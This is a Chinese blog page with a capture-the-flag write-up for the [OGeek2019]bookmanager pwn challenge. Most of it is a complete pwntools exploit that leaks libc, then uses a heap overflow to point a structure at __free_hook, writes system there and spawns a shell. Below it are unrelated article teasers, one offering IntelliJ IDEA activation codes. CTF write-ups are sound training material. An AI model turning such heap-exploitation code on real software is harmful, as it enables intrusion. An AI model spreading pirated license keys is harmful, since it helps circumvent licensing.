做过的代码量最大的一个题

说出的好也好,不好也不好,利用点很简单,就是一个大规模的heapoverflow,就是逆起来有点儿难度

思路很简单,就是利用堆溢出覆盖结构体中的指针为__free_hook,然后改freehook

给整吐了,做了俩小时,然后本地到了最后一步,freehook每次内容都是一个奇怪的值,就是改不了system,然后远程一打就通了-.-||

 1 from pwn import *
2
3 local = 0
4
5 binary = "./pwn"
6
7 if local == 1:
8 p = process(binary)
9 else:
10 p = remote("node3.buuoj.cn",27329)
11
12 def dbg():
13 context.log_level = 'debug'
14
15 context.terminal = ['tmux','splitw','-h']
16
17 def create_book(name):
18 p.sendafter('Name of the book you want to create:',name)
19
20 def add_chapter(name):
21 p.sendlineafter('Your choice:','1')
22 p.sendafter('Chapter name:',name)
23
24 def add_section(chapter_name,name):
25 p.sendlineafter('Your choice:','2')
26 p.sendafter('Which chapter do you want to add into:',chapter_name)
27 p.sendafter('Section name:',name)
28
29 def add_text(section_name,size,name):
30 p.sendlineafter('Your choice:','3')
31 p.sendafter('Which section do you want to add into:',section_name)
32 p.sendafter('How many chapters you want to write:',str(size))
33 p.sendafter('Text:',name)
34
35 def remove_chapter(chapter_name):
36 p.sendlineafter('Your choice:','4')
37 p.sendafter('Chapter name:',chapter_name)
38
39 def remove_section(section_name):
40 p.sendlineafter('Your choice:','5')
41 p.sendafter('Section name:',section_name)
42
43 def remove_text(section_name):
44 p.sendlineafter('Your choice:','6')
45 p.sendafter('Section name:',section_name)
46
47 def show():
48 p.sendlineafter('Your choice:','7')
49
50 def edit_text(sectionname,newname):
51 p.sendlineafter('Your choice:','8')
52 p.sendlineafter('What to update?(Chapter/Section/Text):','Text')
53 p.sendafter('Section name:',sectionname)
54 p.sendafter('New Text:',newname)
55
56 def edit_section(old_sectionname,newname):
57 p.sendlineafter('Your choice:','8')
58 p.sendlineafter('What to update?(Chapter/Section/Text):','Section')
59 p.sendafter('Section name:',old_sectionname)
60 p.sendafter('New Section name:',newname)
61
62 libc = ELF('./libc-2.23.so')
63
64 create_book('lemon')
65
66 print "==== step1: leak libc ===="
67 add_chapter('one')
68 add_section('one','c' * 8)
69 add_text('c' * 8,0x80,'d' * 8)
70
71 add_chapter('\x01')
72
73 remove_text('cccccccc')
74 add_text('cccccccc',0x80,'aaaaaaaa')
75 show()
76 __malloc_hook = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 88 - 0x10
77 libc_base = __malloc_hook - libc.sym['__malloc_hook']
78 __free_hook = libc_base + libc.sym['__free_hook']
79 system = libc_base + libc.sym['system']
80 print "libc base: ",hex(libc_base)
81
82 print "==== step2: heapoverflow make heap pointer to free hook ===="
83 add_text('cccccccc',0x10,'\x01')
84 payload = '/bin/sh\x00' + 'a' * 8 + p64(0) + p64(0x41) + 'dddddddd' + p64(0) * 3 + p64(__free_hook)
85 add_section('one','dddddddd')
86 #dbg()
87 edit_text('cccccccc',payload)
88 edit_text('dddddddd',p64(system))
89 remove_text('cccccccc')
90
91 #gdb.attach(p)
92 p.interactive()

[OGeek2019]bookmanager的更多相关文章

  1. execution(* *..BookManager.save(..))的解读

    execution(* *..BookManager.save(..))的解读: 第一颗* 代表ret-type-pattern 返回值可任意, *..BookManager 代表任意Pacakge里 ...

  2. [BUUCTF]PWN7——[OGeek2019]babyrop

    [BUUCTF]PWN7--[OGeek2019]babyrop 题目网址:https://buuoj.cn/challenges#[OGeek2019]babyrop 步骤: 例行检查,32位,开启 ...

  3. buuctf@[OGeek2019]babyrop

    #!/usr/bin/python #coding:utf-8 from pwn import * #context.log_level = 'debug' io = process('./pwn', ...

  4. 张高兴的 UWP 开发笔记:横向 ListView

    ListView 默认的排列方向是纵向 ( Orientation="Vertical" ) ,但如果我们需要横向显示的 ListView 怎么办? Blend for Visua ...

  5. AIDL使用解析

    简书本文地址:点击跳转到简书查看 之前面试的时候被问到这个问题,然而当时只有一个大致的印象,随GG,于是我就重新整理的一下.这里大力推荐<Android开发艺术探索>这本书,写的太好了! ...

  6. Android 进程通信机制之 AIDL

    什么是 AIDL AIDL 全称 Android Interface Definition Language,即 安卓接口描述语言.听起来很深奥,其实它的本质就是生成进程间通信接口的辅助工具.它的存在 ...

  7. 设计模式之美:Manager(管理器)

    索引 意图 结构 参与者 适用性 效果 实现 实现方式(一):Manager 模式的示例实现. 意图 将对一个类的所有对象的管理封装到一个单独的管理器类中. 这使得管理职责的变化独立于类本身,并且管理 ...

  8. Lucene.net站内搜索—6、站内搜索第二版

    目录 Lucene.net站内搜索—1.SEO优化 Lucene.net站内搜索—2.Lucene.Net简介和分词Lucene.net站内搜索—3.最简单搜索引擎代码Lucene.net站内搜索—4 ...

  9. 轻松掌握:JavaScript享元模式

    享元模式 在JavaScript中,浏览器特别是移动端的浏览器分配的内存很有限,如何节省内存就成了一件非常有意义的事情.节省内存的一个有效方法是减少对象的数量. 享元模式(Flyweight),运行共 ...

随机推荐

  1. IntelliJ IDEA编辑器激活码

    2020-3-31 日 亲自测试有效,什么时候失效就母鸡了 激活码一: T3ACKYHDVF-eyJsaWNlbnNlSWQiOiJUM0FDS1lIRFZGIiwibGljZW5zZWVOYW1lI ...

  2. 聊聊分布式下的WebSocket解决方案

    前言 最近王子自己搭建了个项目,项目本身很简单,但是里面有使用WebSocket进行消息提醒的功能,大体情况是这样的. 发布消息者在系统中发送消息,实时的把消息推送给对应的一个部门下的所有人. 这里面 ...

  3. Java多线程--CAS

    在Java多线程并发的情况下同时对一个变量进行操作会出现线程安全的问题,假如我们现在使用20个线程对一个变量不停累加1,代码如下: 1 public class ThreadDemo implemen ...

  4. 这10道springboot常见面试题你需要了解下

    ​ 1.什么是Spring Boot? 多年来,随着新功能的增加,spring变得越来越复杂.只需访问https://spring.io/projects页面,我们就会看到可以在我们的应用程序中使用的 ...

  5. 刷题[bestphp's revenge]

    前置知识 phpsession反序列化 CRLF注入 即:利用漏洞,注入一个CRLF(\r\n)控制用户的Cookie,或者注入两个CRLF,控制返回给客户端的主体 php内置SoapClient类利 ...

  6. vue下history模式刷新后404错误解决

    官方说明文档: https://router.vuejs.org/zh/g... 一. 实测 Linux 系统 Apache 配置: 更改站点配置文件即可,我这里在 Directory 标签后面添加了 ...

  7. Java基础——缓存

    1.缓存 将程序或系统中常用的数据对象存储在像内存这样特定的介质中,以避免在每次程序调用时,重新创建或组织数据所带来的性能损耗,从而提高了系统的整体运行速度 以目前的系统架构来说,用户的请求一般会先经 ...

  8. GAN生成的评价指标 Evaluation of GAN

    传统方法中,如何衡量一个generator ?-- 用 generator 产生数据的 likelihood,越大越好. 但是 GAN 中的 generator 是隐式建模,所以只能从 P_G 中采样 ...

  9. Linux系统编程—信号集操作函数

    先来回顾一下未决信号集是怎么回事. 信号从产生到抵达目的地,叫作信号递达.而信号从产生到递达的中间状态,叫作信号的未决状态.产生未决状态的原因有可能是信号受到阻塞了,也就是信号屏蔽字(或称阻塞信号集, ...

  10. 012 01 Android 零基础入门 01 Java基础语法 02 Java常量与变量 06 浮点型“字面值”

    012 01 Android 零基础入门 01 Java基础语法 02 Java常量与变量 06 浮点型"字面值" 浮点型字面值 首先要知道一点:在整型部分中,默认情况下,即整型数 ...